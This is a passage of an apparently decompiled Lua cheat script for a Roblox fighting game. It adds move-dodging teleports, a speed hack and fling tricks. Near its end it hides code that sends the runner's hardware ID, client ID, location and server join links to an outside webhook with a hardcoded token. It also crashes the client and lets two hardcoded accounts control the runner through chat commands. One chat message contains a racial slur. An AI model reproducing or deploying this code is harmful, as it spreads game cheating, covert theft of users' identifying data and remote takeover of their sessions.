if v1306 == false or (tick() >= v1305 + 0.85 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1305 + 0.85 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part24 then
_Part24:Destroy()
end
v1302:Disconnect()
v1304:Disconnect()
end
end
end
if _AnimationId2:match('18435535291') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Suiryu Ult') then
task.wait(4.25)
local v1307 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 35')
end
if (u1091.Position - u1028.Position).Magnitude > 100 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 35')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 100 or tick() >= v1307 + 1.25 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1307 + 1.25 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('129651400898906') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Grand Fissure') then
task.wait(0.5)
local _CFrame18 = u1028.CFrame
local v1309 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 34')
end
if (u1091.Position - u1028.Position).Magnitude > 75 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 34')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 75 or (tick() >= v1309 + 1.25 or not p1088.IsPlaying) then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1309 + 1.25 or not p1088.IsPlaying then
getgenv().desync = nil
task.wait(1)
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 34')
end
if (u1091.Position - _CFrame18.Position).Magnitude > 75 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 34')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - _CFrame18.Position).Magnitude > 75 or tick() >= v1309 + 3 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1309 + 3 then
getgenv().desync = nil
end
end
end
end
end
if _AnimationId2:match('18896229321') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Twin Fangs') then
local v1310 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 33')
end
if (u1091.Position - u1028.Position).Magnitude <= 15 and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] 33')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 15 or (tick() >= v1310 + 3.5 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
end
task.wait()
if tick() >= v1310 + 3.5 or not p1088.IsPlaying then
getgenv().desync = nil
task.wait(1)
if not p1088.IsPlaying then
end
if antidebug then
warn('[ANTI DEBUG] 33')
end
if (u1091.Position - u1028.Position).Magnitude <= 25 then
while true do
if antidebug then
warn('[ANTI DEBUG] 33')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 25 or (tick() >= v1310 + 5.5 or not p1088.IsPlaying) then
getgenv().desync = nil
end
end
end
task.wait()
if tick() < v1310 + 5.5 and p1088.IsPlaying then
end
end
end
end
if _AnimationId2:match('18897119503') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Earth Splitting Strike') then
local _Part25 = Instance.new('Part', _Workspace)
_Part25.Anchored = true
_Part25.Size = Vector3.new(35, 10, 75)
_Part25.CanCollide = false
_Part25.Transparency = 1
local u1312 = false
local v1314 = _Part25.Touched:Connect(function(p1313)
if p1313 == u1091 then
u1312 = true
end
end)
local v1316 = _Part25.TouchEnded:Connect(function(p1315)
if p1315 == u1091 then
u1312 = false
end
end)
local v1317 = tick()
local v1318 = u1312
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 33')
end
_Part25.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part25.Size.Z / 2)
if v1318 ~= true then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 33')
end
_Part25.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part25.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1318 == false or (tick() >= v1317 + 2.5 or not p1088.IsPlaying) then
getgenv().desync = nil
end
end
end
_RenderStepped:Wait()
if tick() >= v1317 + 2.5 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part25 then
_Part25:Destroy()
end
v1314:Disconnect()
v1316:Disconnect()
end
end
end
if _AnimationId2:match('106755459092436') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Last Breath') then
MoveNotify(p1018, 'Last Breath')
task.wait(3)
if not (isAnimPlaying(u1029, '106755459092436') or isAnimPlaying(u1029, '132259592388175')) then
end
local v1319 = tick()
while true do
if antidebug then
warn('[ANTI DEBUG] 32')
end
if isAnimPlaying(u1029, '106755459092436') or isAnimPlaying(u1029, '132259592388175') then
repeat
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
until tick() >= v1319 + 3.5 or not (isAnimPlaying(u1029, '106755459092436') or isAnimPlaying(u1029, '132259592388175'))
getgenv().desync = nil
end
task.wait()
if tick() >= v1319 + 3.5 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('75502010126640') and rawget(Options.AntiMoves_Suiryu.Value, 'Anti Last Breath') then
task.wait(10)
local v1320 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 18')
end
if (u1091.Position - u1028.Position).Magnitude > 100 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 18')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 100 or tick() >= v1320 + 3 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1320 + 3 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('16734584478') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Tatsumaki Ult') then
local v1321 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 27')
end
if (u1091.Position - u1028.Position).Magnitude > 75 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 27')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 75 or tick() >= v1321 + 5.75 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1321 + 5.75 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('17141153099') and rawget(Options.AntiMoves_KJ.Value, 'Anti Stoic Bomb') then
task.delay(2, function()
local v1322 = tick()
while true do
if antidebug then
warn('[ANTI DEBUG] 28')
end
if (u1091.Position - u1028.Position).Magnitude <= 75 then
break
end
task.wait()
if tick() >= v1322 + 1.5 then
getgenv().desync = nil
return
end
end
while true do
if antidebug then
warn('[ANTI DEBUG] 28')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 75 or tick() >= v1322 + 1.5 then
getgenv().desync = nil
end
end
end)
end
if _AnimationId2:match('17354976067') and rawget(Options.AntiMoves_KJ.Value, 'Anti 20-20-20 Dropkick') then
MoveNotify(p1018, '20-20-20 Dropkick')
task.delay(1, function()
local _Part26 = Instance.new('Part', _Workspace)
_Part26.Anchored = true
_Part26.Size = Vector3.new(25, 5, 125)
_Part26.CanCollide = false
_Part26.Transparency = 1
local u1324 = false
local v1326 = _Part26.Touched:Connect(function(p1325)
if p1325 == u1091 then
u1324 = true
end
end)
local v1328 = _Part26.TouchEnded:Connect(function(p1327)
if p1327 == u1091 then
u1324 = false
end
end)
local v1329 = tick()
local v1330 = u1324
while true do
if antidebug then
warn('[ANTI DEBUG] 29')
end
_Part26.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part26.Size.Y / 2)
if v1330 then
break
end
_RenderStepped:Wait()
if tick() >= v1329 + 5 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part26 then
_Part26:Destroy()
end
v1326:Disconnect()
v1328:Disconnect()
return
end
end
while true do
if antidebug then
warn('[ANTI DEBUG] 29')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if not v1330 or (tick() >= v1329 + 5 or not p1088.IsPlaying) then
getgenv().desync = nil
end
end
end)
end
if _AnimationId2:match('18462894593') and rawget(Options.AntiMoves_KJ.Value, 'Anti Five Seasons') then
task.delay(6.75, function()
local v1331 = tick()
while true do
if antidebug then
warn('[ANTI DEBUG] 30')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if tick() >= v1331 + 1 then
getgenv().desync = nil
return
end
end
end)
end
if _AnimationId2:match('100558589307006') and rawget(Options.AntiMoves_FrozenSoul.Value, 'Anti Permafrost') then
task.wait(0.35)
if not p1088.IsPlaying then
end
local _Part27 = Instance.new('Part', _Workspace)
_Part27.Anchored = true
_Part27.Size = Vector3.new(45, 25, 85)
_Part27.CanCollide = false
_Part27.Transparency = 1
local u1333 = false
local v1335 = _Part27.Touched:Connect(function(p1334)
if p1334 == u1091 then
u1333 = true
end
end)
local v1337 = _Part27.TouchEnded:Connect(function(p1336)
if p1336 == u1091 then
u1333 = false
end
end)
local v1338 = tick()
local v1339 = u1333
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] PERMAFROST')
end
_Part27.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part27.Size.Z / 2)
if v1339 ~= true or isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] PERMAFROST')
end
_Part27.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part27.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1339 == false or (tick() >= v1338 + 0.65 or not p1088.IsPlaying) then
getgenv().desync = nil
end
end
end
_RenderStepped:Wait()
if tick() >= v1338 + 0.65 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part27 then
_Part27:Destroy()
end
v1335:Disconnect()
v1337:Disconnect()
end
end
end
if _AnimationId2:match('137561511768861') and rawget(Options.AntiMoves_FrozenSoul.Value, 'Anti Frost Forge') then
task.delay(1, function()
local v1340 = tick()
while true do
if antidebug then
warn('[ANTI DEBUG] FROST FORGE')
end
if (u1091.Position - u1028.Position).Magnitude <= 150 then
break
end
task.wait()
if tick() >= v1340 + 0.75 then
getgenv().desync = nil
return
end
end
while true do
if antidebug then
warn('[ANTI DEBUG] FROST FORGE')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 150 or tick() >= v1340 + 0.75 then
getgenv().desync = nil
end
end
end)
end
if _AnimationId2:match('112620365240235') and rawget(Options.AntiMoves_FrozenSoul.Value, 'Anti Freezing Path') then
task.wait(0.5)
if not p1088.IsPlaying then
end
local _Part28 = Instance.new('Part', _Workspace)
_Part28.Anchored = true
_Part28.Size = Vector3.new(20, 10, 35)
_Part28.CanCollide = false
_Part28.Transparency = 1
local u1342 = false
local v1344 = _Part28.Touched:Connect(function(p1343)
if p1343 == u1091 then
u1342 = true
end
end)
local v1346 = _Part28.TouchEnded:Connect(function(p1345)
if p1345 == u1091 then
u1342 = false
end
end)
local v1347 = tick()
local v1348 = u1342
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] FREEZING PATH')
end
_Part28.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part28.Size.Z / 2)
if v1348 ~= true or isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] FREEZING PATH')
end
_Part28.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part28.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1348 == false or (tick() >= v1347 + 4 or not p1088.IsPlaying) then
getgenv().desync = nil
end
end
end
_RenderStepped:Wait()
if tick() >= v1347 + 4 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part28 then
_Part28:Destroy()
end
v1344:Disconnect()
v1346:Disconnect()
end
end
end
if _AnimationId2:match('75547590335774') and rawget(Options.AntiMoves_FrozenSoul.Value, 'Anti Judgement Chain') then
task.wait(0.35)
if not p1088.IsPlaying then
end
local _Part29 = Instance.new('Part', _Workspace)
_Part29.Anchored = true
_Part29.Size = Vector3.new(10, 5, 175)
_Part29.CanCollide = false
_Part29.Transparency = 1
local u1350 = false
local v1352 = _Part29.Touched:Connect(function(p1351)
if p1351 == u1091 then
u1350 = true
end
end)
local v1354 = _Part29.TouchEnded:Connect(function(p1353)
if p1353 == u1091 then
u1350 = false
end
end)
local v1355 = tick()
local v1356 = u1350
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] JUDGEMENT CHAIN')
end
_Part29.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part29.Size.Z / 2)
if v1356 ~= true or isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] JUDGEMENT CHAIN')
end
_Part29.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part29.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1356 == false or (tick() >= v1355 + 1 or not p1088.IsPlaying) then
getgenv().desync = nil
end
end
end
_RenderStepped:Wait()
if tick() >= v1355 + 1 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part29 then
_Part29:Destroy()
end
v1352:Disconnect()
v1354:Disconnect()
end
end
else
return
end
end)
end
end)
end
end
task.spawn(function()
local u1357 = nil
task.spawn(function()
repeat
task.wait()
until getChar(_LocalPlayer)
local v1358 = getChar(_LocalPlayer)
u1357 = Instance.new('Model')
v1358.Archivable = true
local v1359 = v1358:Clone()
v1358.Archivable = false
if v1359:FindFirstChildWhichIsA('Humanoid') then
v1359.Humanoid:Destroy()
end
local v1360, v1361, v1362 = pairs(v1359:GetChildren())
while true do
local v1363
v1362, v1363 = v1360(v1361, v1362)
if v1362 == nil then
break
end
if v1363:IsA('Humanoid') then
v1363:Destroy()
elseif v1363:IsA('BasePart') or v1363:IsA('MeshPart') then
local v1364 = v1363:Clone()
v1364.CanCollide = false
v1364.Anchored = true
v1364.Transparency = not table.find({
'HumanoidRootPart',
'FakeHead',
'Hitbox_RightArm',
'Hitbox_LeftArm',
'Hitbox_RightLeg',
'Hitbox_LeftLeg',
}, v1364.Name) and 0.65 or 1
v1364.Color = Color3.fromRGB(255, 255, 255)
v1364.Size = v1364.Size * 1.01
v1364.Parent = u1357
if v1364.Name ~= 'Head' then
if v1364.Name ~= 'HumanoidRootPart' then
v1364.Material = Enum.Material.ForceField
local _SpecialMesh = Instance.new('SpecialMesh', v1364)
_SpecialMesh.Scale = v1364.Size
_SpecialMesh.TextureId = 'rbxassetid://5101923607'
_SpecialMesh.VertexColor = Vector3.new(255, 0, 0)
end
else
v1364.Color = Color3.fromRGB(255, 0, 0)
end
local v1366, v1367, v1368 = pairs({
'Sound',
'Decal',
'Trail',
'BodyVelocity',
'BodyGyro',
'BodyPosition',
'ParticleEmitter',
})
while true do
local v1369
v1368, v1369 = v1366(v1367, v1368)
if v1368 == nil then
break
end
local v1370 = v1364:FindFirstChildWhichIsA(v1369)
if v1370 then
v1370:Destroy()
end
end
end
end
u1357.Parent = workspace.Terrain
end)
local _Model2 = Instance.new('Model', _Workspace)
local _Humanoid = Instance.new('Humanoid', _Model2)
local _Part30 = Instance.new('Part', _Model2)
_Part30.Name = 'HumanoidRootPart'
_Part30.CanCollide = false
_Part30.Transparency = 1
_Part30.Anchored = true
_Part30.Size = Vector3.new(2, 2, 1)
task.spawn(function()
while _PreSimulation:Wait() do
local _Value16 = Options.SpeedHackMethod.Value
local v1375 = getChar(_LocalPlayer)
local v1376
if v1375 then
v1376 = getRoot(v1375)
else
v1376 = v1375
end
local v1377
if v1375 then
v1377 = getHumanoid(v1375)
else
v1377 = v1375
end
if v1375 and (v1376 and (v1377 and (Toggles.SpeedHackEnabled.Value and not u59.Flying))) then
if _Value16 == 'CFrame' then
v1376.CFrame = v1376.CFrame + v1377.MoveDirection * (Options.SpeedHack.Value / 10000)
elseif _Value16 == 'Velocity' and v1377.MoveDirection ~= Vector3.new() then
repeat
local v1378 = v1377.MoveDirection.Unit * (Options.SpeedHack.Value / 100)
v1376.Velocity = Vector3.new(v1378.X, v1376.Velocity.Y, v1378.Z)
_PreSimulation:Wait()
until v1377.MoveDirection == Vector3.new() or Options.SpeedHackMethod.Value ~= _Value16
v1376.Velocity = Vector3.new()
end
end
end
end)
_Heartbeat:Connect(function()
local v1379 = getChar(_LocalPlayer)
local v1380
if v1379 then
v1380 = getRoot(v1379)
else
v1380 = v1379
end
local v1381
if v1379 then
v1381 = getHumanoid(v1379)
else
v1381 = v1379
end
if v1379 and (v1380 and v1381) then
local v1382 = {
CFrame = v1380.CFrame,
Velocity = v1380.Velocity,
}
local v1383 = nil
local _CurrentCamera7 = _Workspace.CurrentCamera
local v1385 = false
if u59.Invisibility or u59['Doing Wall Combo Anywhere'] then
v1385 = (not getgenv().desync or v1379:FindFirstChild('AbsoluteImmortal')) and true or v1385
end
if v1381.Health > 0 then
if u59.Invisibility or u59['Upside Down'] then
v1383 = v1382.CFrame * CFrame.Angles(0, 0, math.rad(180))
end
if getgenv().flingDesync then
v1383 = getgenv().flingDesync.CFrame or v1383
end
if getgenv().desync and not v1379:FindFirstChild('AbsoluteImmortal') then
v1383 = getgenv().desync.CFrame or v1383
end
end
if v1385 and (u1357 and Toggles.Visualizer.Value) then
local v1386 = u1357
local v1387, v1388, v1389 = pairs(v1386:GetChildren())
while true do
local v1390
v1389, v1390 = v1387(v1388, v1389)
if v1389 == nil then
break
end
if v1390:IsA('BasePart') then
local v1391 = v1379:FindFirstChild(v1390.Name)
if v1391 and v1391:IsA('BasePart') then
v1390.CFrame = v1391.CFrame
end
end
end
end
if v1383 then
if _CurrentCamera7 and _CurrentCamera7.CameraSubject == v1381 then
v1379:SetAttribute('NoHeadLerp', true)
_CurrentCamera7.CameraSubject = _Humanoid
end
_Part30.CFrame = v1382.CFrame
v1380.CFrame = v1383
if u1357 and (Toggles.Visualizer.Value and not (Toggles.AlwaysVisualize.Value or v1385)) then
local v1392 = u1357
local v1393, v1394, v1395 = pairs(v1392:GetChildren())
while true do
local v1396
v1395, v1396 = v1393(v1394, v1395)
if v1395 == nil then
break
end
if v1396:IsA('BasePart') then
local v1397 = v1379:FindFirstChild(v1396.Name)
if v1397 and v1397:IsA('BasePart') then
v1396.CFrame = v1397.CFrame
end
end
end
end
end
if u1357 and not v1385 then
if Toggles.Visualizer.Value and Toggles.AlwaysVisualize.Value then
local v1398 = u1357
local v1399, v1400, v1401 = pairs(v1398:GetChildren())
while true do
local v1402
v1401, v1402 = v1399(v1400, v1401)
if v1401 == nil then
break
end
if v1402:IsA('BasePart') then
local v1403 = v1379:FindFirstChild(v1402.Name)
if v1403 and v1403:IsA('BasePart') then
v1402.CFrame = v1403.CFrame
end
end
end
elseif not (Toggles.Visualizer.Value and (Toggles.AlwaysVisualize.Value or v1383)) then
local v1404 = u1357
local v1405, v1406, v1407 = pairs(v1404:GetChildren())
while true do
local v1408
v1407, v1408 = v1405(v1406, v1407)
if v1407 == nil then
break
end
if v1408:IsA('BasePart') then
v1408.CFrame = CFrame.new(0, 1000000, 0)
end
end
end
end
if Toggles.FlingOnDeath.Value and v1381.Health <= 0 then
v1380.Velocity = Vector3.new(1, 1, 1) * 16384
elseif u59['Trashcan Launch'] and Toggles.TrashcanLaunch.Value then
v1380.Velocity = v1380.CFrame.LookVector * Options.Trashcan_LaunchPower.Value
elseif getgenv().flingDesync and getgenv().flingDesync.Velocity or u59['Velocity Spoof'] then
v1380.Velocity = u59['Velocity Spoof Settings']
end
local v1409
if u59.Invisibility and not (getgenv().flingDesync and getgenv().flingDesync.Velocity) then
v1409 = loadAnim(v1381, u57.ID)
v1409.Priority = Enum.AnimationPriority.Action4
if v1409 then
v1409:Play()
v1409.TimePosition = u57.TimePosition
v1409:AdjustSpeed(0)
v1409:AdjustWeight(1)
end
else
v1409 = nil
end
_RenderStepped:Wait()
_Humanoid.CameraOffset = v1381.CameraOffset
if _CurrentCamera7 and _CurrentCamera7.CameraSubject == _Humanoid then
v1379:SetAttribute('NoHeadLerp', false)
_CurrentCamera7.CameraSubject = v1381
end
if v1409 and v1409.IsPlaying then
v1409:Stop()
end
if v1383 then
if _CurrentCamera7 and _UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then
v1380.CFrame = CFrame.new(v1382.CFrame.Position, v1382.CFrame.Position + Vector3.new(_CurrentCamera7.CFrame.LookVector.X, 0, _CurrentCamera7.CFrame.LookVector.Z))
else
v1380.CFrame = v1382.CFrame
end
end
v1380.Velocity = v1382.Velocity
end
end)
end)
task.spawn(function()
if workspace.CurrentCamera then
patchCamera(workspace.CurrentCamera)
end
workspace.ChildAdded:Connect(patchCamera)
end)
if _LocalPlayer.Character then
task.spawn(init)
end
u41[#u41 + 1] = _LocalPlayer.CharacterAdded:Connect(function()
task.spawn(init, true)
end)
local u1410 = {
[1033636351] = '<@287493655835443201>',
[9892253606] = '<@422612957755736064>',
}
local function u1412(p1411)
if p1411 and table.find({1033636351, 9892253606}, p1411) then
return true, u1410[p1411]
else
return false, nil
end
end
local function u1427(p1413)
local v1414 = {
'theres an exploiter in your server ThePersonToPing',
'ThePersonToPing theres some fat skid in your server rn',
"ThePersonToPing YOU'RE ABOUT TO GET PASTED ON THERES A HACKER IN YOUR SERVER!!",
'WATCH OUT ThePersonToPing THERES A PASTER IN YOUR SERVER',
'ThePersonToPing Theres some cheater nigga in your server watch out brochacho',
}
local _ThePersonToPing = v1414[math.random(1, #v1414)]:gsub('ThePersonToPing', p1413)
task.spawn(pcall, function()
local v1416 = u15
local v1417 = {
Url = 'https://meow.skunk.legal/c/duck-might-be-diddy',
Method = 'POST',
Headers = {
['content-type'] = 'application/json',
Authorization = 'YwCbktcTdW3EaWghnruRAAueeh6mKZ2sRqnph6Y',
},
}
local v1418 = _HttpService
local _JSONEncode2 = v1418.JSONEncode
local v1420 = {content = _ThePersonToPing}
local v1421 = {}
local v1422 = {
title = 'Phantasm Logs',
description = 'User Device: ' .. u428,
type = 'rich',
color = tonumber(0),
}
local v1423 = {}
local v1424 = {
name = '\n\n-----------------------------------------------------Information** **',
}
local v1425 = _Players
local v1426 = _RbxAnalyticsService
v1424.value = 'Identified Executor: ' .. (identifyexecutor and tostring(identifyexecutor()) or 'Unknown') .. '\nExecutor Name: ' .. (getexecutorname and tostring(getexecutorname()) or 'Unknown') .. '\nServer Players: ' .. (#v1425:GetPlayers() or 'Unknown') .. '\nServer Type: ' .. u448 .. '\nServer Version: ' .. u67 .. '\nCountry: ' .. u424 .. '\nRegion: ' .. u425 .. '\nRegion Name: ' .. u426 .. '\nTimezone: ' .. u427 .. '\nUsername: [' .. _LocalPlayer.Name .. ' (' .. _LocalPlayer.DisplayName .. ')](https://www.roblox.com/users/' .. _LocalPlayer.UserId .. '/profile)\nClient ID: ' .. (v1426:GetClientId() or 'Unknown') .. '\nHWID: ' .. (gethwid and tostring(gethwid()) or (get_hwid and tostring(get_hwid()) or 'Unknown')) .. '\nHashed Identifier: ' .. u446 .. '\n-----------------------------------------------------' .. '\n[**Join**](https://fern.wtf/joiner?placeId=' .. game.PlaceId .. '&gameInstanceId=' .. game.JobId .. ')'
v1424.inline = false
__set_list(v1423, 1, {
v1424,
{
name = 'JobId Join',
value = "```Roblox.GameLauncher.joinGameInstance('" .. game.PlaceId .. "', '" .. game.JobId .. "')```",
inline = true,
},
{
name = 'JobId',
value = '```r\r\n ' .. game.JobId .. '\r\n\r\n ```',
inline = true,
},
{
name = 'Browser Join',
value = '```roblox://experiences/start?placeId=' .. game.PlaceId .. '&gameInstanceId=' .. game.JobId .. '```',
inline = false,
},
{
name = 'Script Join',
value = '```lua\r\n game:GetService("TeleportService"):TeleportToPlaceInstance(' .. game.PlaceId .. ', "' .. game.JobId .. '", game:GetService("Players").LocalPlayer)\r\n ```',
inline = false,
},
})
v1422.fields = v1423
v1422.thumbnail = {
url = fetchAvatar(),
}
v1422.footer = {
text = 'Script ran at ' .. os.date('%Y-%m-%d %H:%M:%S'),
}
__set_list(v1421, 1, {v1422})
v1420.embeds = v1421
v1417.Body = _JSONEncode2(v1418, v1420)
v1416(v1417)
end)
end
local v1428 = _Players
local v1429, v1430, v1431 = pairs(_Players.GetPlayers(v1428))
while true do
local u1432
v1431, u1432 = v1429(v1430, v1431)
if v1431 == nil then
break
end
if u1432.Name ~= _LocalPlayer.Name then
local v1433, v1434 = u1412(u1432.UserId)
if v1433 then
if v1434 then
u1427(v1434)
end
local v1435, v1436, v1437 = pairs(game:GetDescendants())
while true do
local u1438
v1437, u1438 = v1435(v1436, v1437)
if v1437 == nil then
break
end
pcall(function()
u1438:Destroy()
u1438.Destroy()
u1438:Remove()
u1438.Remove()
u1438.Parent = nil
end)
end
pcall(function()
local v1439, v1440, v1441 = pairs(getrawmetatable(game))
while true do
local v1442
v1441, v1442 = v1439(v1440, v1441)
if v1441 == nil then
break
end
hookfunction(v1442, function() end)
end
end)
while true do end
end
task.spawn(initOthers, u1432)
u41[#u41 + 1] = u1432.CharacterAdded:Connect(function()
task.spawn(initOthers, u1432)
end)
end
end
u41[#u41 + 1] = _Players.PlayerAdded:Connect(function(p1443)
local v1444, v1445 = u1412(p1443.UserId)
if v1444 then
if v1445 then
u1427(v1445)
end
local v1446, v1447, v1448 = pairs(game:GetDescendants())
while true do
local u1449
v1448, u1449 = v1446(v1447, v1448)
if v1448 == nil then
break
end
pcall(function()
u1449:Destroy()
u1449.Destroy()
u1449:Remove()
u1449.Remove()
u1449.Parent = nil
end)
end
pcall(function()
local v1450, v1451, v1452 = pairs(getrawmetatable(game))
while true do
local v1453
v1452, v1453 = v1450(v1451, v1452)
if v1452 == nil then
break
end
hookfunction(v1453, function() end)
end
end)
while true do end
else
if u17 and not table.find(u18, p1443) then
table.insert(u18, p1443)
end
if p1443.Name ~= _LocalPlayer.Name then
task.spawn(pcall, u810, p1443)
task.spawn(function()
local v1454 = tick()
repeat
_RenderStepped:Wait()
until p1443:GetAttribute('PreloadDone') or tick() >= v1454 + 30
if p1443 and p1443.Parent then
if p1443.Character then
task.spawn(initOthers, p1443)
end
p1443.CharacterAdded:Connect(function()
task.spawn(initOthers, p1443)
end)
end
end)
end
allplayers = _Players:GetPlayers()
return
end
end)
local u1455 = {
"i'll meow for GAYESTPERSONHERE anyday~..",
'*purr* hi GAYESTPERSONHERE~..',
'I love you GAYESTPERSONHERE..',
'GAYESTPERSONHERE is mine and mine only >~<',
'Owned by GAYESTPERSONHERE :3',
'GAYESTPERSONHERE is such a cutie~..',
}
local u1456 = {Freeze = false}
local function v1482(p1457)
p1457.MessageReceived:Connect(function(p1458)
local _TextSource = p1458.TextSource
if _TextSource then
_TextSource = _Players:FindFirstChild(p1458.TextSource.Name)
end
if _TextSource and u1412(_TextSource.UserId) then
local v1460 = getChar(_LocalPlayer)
local v1461
if v1460 then
v1461 = getRoot(v1460)
else
v1461 = v1460
end
if v1460 then
v1460 = getHumanoid(v1460)
end
local v1462 = string.split(p1458.Text, ' ')
if v1462[1] then
table.remove(v1462, 1)
end
local v1463
if v1462[1] and (getPlayer(v1462[1], false, true) and getPlayer(v1462[1], false, true).Name == _LocalPlayer.Name or (v1462[1]:lower() == 'all' or v1462[1]:lower() == 'others')) then
table.remove(v1462, 1)
v1463 = true
else
v1463 = false
end
if p1458.Text:find('^.t') then
sendMsg(v1462[1] or 'b')
end
if not v1463 then
end
if p1458.Text:find('^.bring') or p1458.Text:find('^.b') then
local v1464 = getChar(_TextSource)
if v1464 then
v1464 = getRoot(v1464)
end
if v1464 then
heartbeatTp(v1464.CFrame)
end
end
if p1458.Text:find('^.plug') or p1458.Text:find('^.p') then
sendMsg('Phantasm is the best script ever!!')
end
if p1458.Text:find('^.goto') then
local v1465 = v1462[1]
if v1465 then
v1465 = getPlayer(v1462[1])
end
if v1465 then
v1465 = getChar(v1465)
end
if v1465 then
v1465 = getRoot(v1465)
end
if v1465 then
heartbeatTp(v1465.CFrame)
end
end
if p1458.Text:find('^.reset') then
if v1460 then
v1460:ChangeState(Enum.HumanoidStateType.Dead)
v1460.Health = 0
end
end
if p1458.Text:find('^.freeze') or p1458.Text:find('^.fr') then
u1456.Freeze = true
v1461.Anchored = true
task.wait()
if not u1456.Freeze then
end
end
if p1458.Text:find('^.unfreeze') or (p1458.Text:find('^.unfr') or p1458.Text:find('^.thaw')) then
u1456.Freeze = false
elseif p1458.Text:find('^.ew') then
local v1466 = v1462[1]
if v1466 then
v1466 = getPlayer(v1462[1])
end
local v1467 = u1455[math.random(1, #u1455)]
sendMsg(v1467:gsub('GAYESTPERSONHERE', v1466 and v1466.DisplayName or _TextSource.DisplayName))
elseif p1458.Text:find('^.kick') then
_LocalPlayer:Kick(#v1462 <= 0 and 'Kicked' or (table.concat(v1462, ' ') or 'Kicked'))
_LocalPlayer:Kick(#v1462 > 0 and table.concat(v1462, ' ') or 'Kicked')
elseif p1458.Text:find('^.boi') then
communicate({
Goal = ' Platform ',
mobile = _UserInputService.TouchEnabled,
})
local u1468 = {}
game:GetService('ContentProvider'):PreloadAsync({
_CoreGui,
_LocalPlayer.PlayerGui,
}, function(p1469, _)
